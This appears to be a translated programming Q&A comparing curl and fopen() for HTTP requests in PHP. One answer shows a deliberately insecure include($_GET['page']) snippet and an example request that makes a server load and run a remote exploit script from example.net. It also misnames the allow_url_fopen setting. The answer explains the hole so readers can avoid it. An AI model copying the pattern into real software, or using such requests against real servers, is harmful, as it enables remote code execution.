5

HTTP(s) 経由で Web サービスと通信する必要があるコードをいくつか書いています。以前はcurlライブラリを使用していました。最近、単純に fopen() を使用してリモート URL にアクセスできることに気付きました。

Curl はより多くのオプションを備えており、はるかに構成しやすいようです。その構成可能性を超えて、どの方法を使用するかは重要ですか? もしそうなら、どちらがより良いですか、そしてその理由は何ですか?

4

3 に答える 3

14

fopen()allow_fopen_urlで有効になっている場合、 はリモート URL のみを開きますphp.ini

ただし、5.2.0 より前のバージョンでは、関数がリモート サイトから PHP コードをincludeダウンロードして解析するため、これは非常に危険でした。素朴なコーダーは、次のようなコードで簡単に見破られる可能性があります。

<?php
    $page = $_GET['page'];
    include($page);
?>

その時点で、攻撃者http://example.com/script.php?page=http://example.net/my_exploit_scriptはシステム上で独自のコードを実行し、エクスプロイトを導入するよう要求するだけです。残念ながら、のデフォルト値allow_fopen_urlは「オン」です。

幸いなことに、5.2.0 以降、リモート コードのダウンロードを防止する別の設定 (デフォルトで「オフ」にする必要があります) が呼び出されています。allow_url_includeinclude

個人的には、Curl を使用するオプションがある場合は、fopen.

于 2009-03-11T23:25:13.827 に答える